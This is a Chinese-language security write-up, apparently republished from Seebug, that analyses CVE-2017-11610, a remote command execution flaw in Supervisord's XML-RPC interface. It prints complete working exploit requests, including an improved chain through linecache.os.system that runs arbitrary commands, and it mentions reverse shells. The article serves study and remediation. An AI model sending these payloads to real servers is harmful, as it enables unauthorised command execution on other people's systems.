作者:phith0n@長亭科技
前幾天 Supervisord 出現了一個需認證的遠程命令執行漏洞(CVE-2017-11610),在對其進行分析以后,將靶場加入了 Vulhub 豪華套餐。
Supervisord
Supervisord 是一款 Python 開發,用于管理后臺應用(服務)的工具,其角色類似于 Linux 自帶的 Systemd。
我覺得它相比 Systemd 有幾個特點:
- 配置比較簡單
- 一個簡單的第三方應用,與系統沒有耦合
- 提供HTTP API,支持遠程操作
所以,我之前把他用來跑一些Web應用。
Supervisord 的架構分為 Server 和 Client,Server 以一個服務的形式,跑在系統后臺,而 Client 是一個命令行工具,其實就是根據用戶的要求,調用 Server 提供的 API,執行一些工作。
查看 Supervisord 的配置文件可知,默認情況下,Server 端監聽在 unix 套接字
unix:///tmp/supervisor.sock 上,而 Client 配置的 serverurl 也是這個地址:
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
所以,Client 端去連接配置文件中的 serverurl 的地址,并與其使用 RPC 協議(基于 HTTP 協議)通信。比如我們平時常用的命令(啟動名為 web 的服務):supervisorctl start web,看下其數據包:

其實很簡單的協議,通過 XML,將 methodName 和 params 通過 HTTP 協議傳給服務端進行執行。start 命令執行的是 supervisor.startProcess 方法,僅有一個參數就是服務的名稱。
另外,如果我設置了 [inet_http_server] 段,即可將 Supervisord 監聽在 TCP 端口上,這樣外部其他程序也能進行調用。我們可以直接將默認配置文件中這一段前面的分號去掉,就默認監聽在 9001 端口上了。
漏洞分析
CVE-2017-11610 的本質是一個不安全的對象引用+方法調用,十分類似 Java 中的反序列化漏洞。
在上一章中我說了,Supervisord 的控制實際上就是一個 C/S 以 RPC 協議的通信的過程,而 RPC 協議(遠程過程調用協議),顧名思義就是 C 端通過 RPC 協議可以在 S 端執行某個函數,并得到返回結果。那么,如果 C 端執行了 S 端預料之外的函數(如 os.system),那么就會導致漏洞的產生。
一個安全的 RPC 協議,會有一個函數名的映射,也就是說 C 端只能調用在白名單之中的部分函數,并且這個“函數”只是真正函數的一個映射。
而我們來看看 3.3.2 版本中 Supervisord 是如何處理 RPC 調用的:
class supervisor_xmlrpc_handler(xmlrpc_handler):
...
def call(self, method, params):
return traverse(self.rpcinterface, method, params)
def traverse(ob, method, params):
path = method.split('.')
for name in path:
if name.startswith('_'):
# security (don't allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
supervisor_xmlrpc_handlerl 類用于處理 RPC 請求,其 call 方法就是真正執行遠程調用的函數。在
call 方法中調用了 traverse 函數,跟進這個函數,我們發現他的邏輯是這樣:
- 將 path 用點號分割成數組
- 遍歷這個數組,每次獲得一個 name
- 如果 name 不以下劃線開頭,則獲取 ob 對象的 name 屬性,其作為新的 ob 對象
- 遍歷完成后獲得最終的 ob 對象,調用之
所以,實際上這個函數最后達成的效果就是:初始 ob 對象下的任意 public 方法,包括它的所有遞歸子對象的任意 public 方法,都可以被調用。
而此處,ob 對象即為 self.rpcinterface,官方開發者可能認為可調用的方法只限制在這個對象內部,所以沒有做特別嚴格的白名單限制。
而 CVE-2017-11610 的發現者發現,在 self.rpcinterface.supervisor.supervisord.options 對象下,有一個方法 execve,其相當于直接調用了系統的 os.execve 函數,是可以直接執行任意命令的:
class ServerOptions(Options):
...
def execve(self, filename, argv, env):
return os.execve(filename, argv, env)
所以,最后給出利用 POC(RPC 協議如何構造數據包、XML 是什么格式,這個可以自己去看看文檔):
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>
POC 缺陷與改進
當然,漏洞發現者找到的這個 self.rpcinterface.supervisor.supervisord.options.execve 其實不是那么好用,原因是,Python 的 os.execve 函數會使用新進程取代現有的進程。也就是說,這里會導致
Supervisord 本身退出。
基于 Docker 容器的 Supervisord(如 Vulhub 里這個靶場),如果基礎進程 Supervisord 被退出,那么將導致整個容器被退出,即使我們執行了任意命令,我們獲得的權限也是轉瞬即逝的。
另外,即使非Docker環境,我們在測試漏洞的過程中影響到了線上業務,這個后果是無法估量的,所以我們必須想其他方法來穩定的利用漏洞。
我說兩個方法。
法一:先Fork一個新進程
同樣在 self.rpcinterface.supervisor.supervisord.options 對象中,有一個 fork 方法,是調用了系統的 os.fork 函數。
os.fork 函數的作用就是根據當前進程,派生一個新的子進程。所以,即使當前進程被意外結束了,也不會導致 Supervisord 服務終止,因為派生的進程還留存著。
所以,先發送如下數據包即可派生新進程:
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>
然后再發送之前的 POC 即可。
但這個方法還是會影響 Docker 容器。
法二:找尋其他利用鏈
這個漏洞和一些反序列化漏洞類似,都是去找到一個不安全的對象。那么,除了原作者給出的
self.rpcinterface.supervisor.supervisord.options.execve(),是不是還可以找到其他更好用的利用鏈呢?
通過一系列調試,我找到了一個利用鏈:
supervisor.supervisord.options.warnings.linecache.os.system(),其實目的很簡單,就是想方設法找到非下劃線開頭的屬性中,是否有引用 os 模塊。linecache 中引用了 os 模塊:

所以,構造如下數據包:
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
即可直接執行任意命令。如,反彈 shell:

漏洞影響與修復
出現這個漏洞,一般有幾個條件:
- Supervisord 版本在受影響的范圍內
- RPC 端口可被訪問
- RPC 無密碼或密碼脆弱
第二個條件其實不太容易達到。默認安裝的 Supervisord,是只監聽 unix 套接字的,所以外部IP根本無法訪問。
另外,如果你已經拿到了一臺機器的低權限,想訪問本地的 unix 套接字,利用該漏洞提權,也是不現實的:原因是 supervisord.sock 文件權限默認是 0700,其他用戶無法訪問,能夠訪問的用戶權限和它是一樣的,也就不存在提權的說法了。
當然,如果運維同學不小心將 RPC 端口開放了,并且使用了默認密碼或沒有設置密碼,那么借助這個漏洞進行攻擊,也是很不錯的。
如何修復這個漏洞?
- 升級 Supervisord
- 端口訪問控制
- 設置復雜 RPC 密碼
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/367/
暫無評論